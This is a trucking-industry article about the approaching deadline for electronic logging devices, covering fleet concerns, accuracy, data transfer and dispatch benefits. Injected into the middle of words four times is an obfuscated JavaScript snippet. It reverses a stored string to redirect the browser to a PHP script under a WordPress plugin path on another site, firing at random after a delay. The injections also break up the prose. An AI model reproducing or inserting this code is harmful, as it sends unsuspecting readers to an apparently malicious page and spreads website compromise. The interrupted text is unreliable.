December 18 — the deadline for the use of electronic logging devices (ELDs) — is fast approaching.

I know there has been concern, especially on the part of small fleets and owner-opera$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tors about the impact of ELDs on their operation. Some anticipate productivity losses, and those may occur if you have been skirting the Hours of Service (HOS) rules with your paper logs.

However, ELDs should simplify the tracking of hours and free drivers from the drudgery of paperwork and should even make inspections faster and easier.

The other option is a “local” transfer type ELD, where data is transferred via USB or Blue$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tooth.

ELDs will also be more accurate than paper logs and that should substantially reduce the fleet’s risk of a fine for non-compliance with Hours of Service rules.

The ELD devices sync with a vehicle’s engine diagnostic port, capturing movement and recording the distance and time a driver is at the wheel. ELDs provide fleets with exceptional and consistent data that will help with both driver and cus$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomer retention.

ELDs should also assist with your scheduling and dispatch operations because office personnel will know the locations of vehicles as well as how much many legal hours on the road drivers have available.

Not much will change as we shift from paper logs $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to electronic ones especially if your fleet is already in compliance.
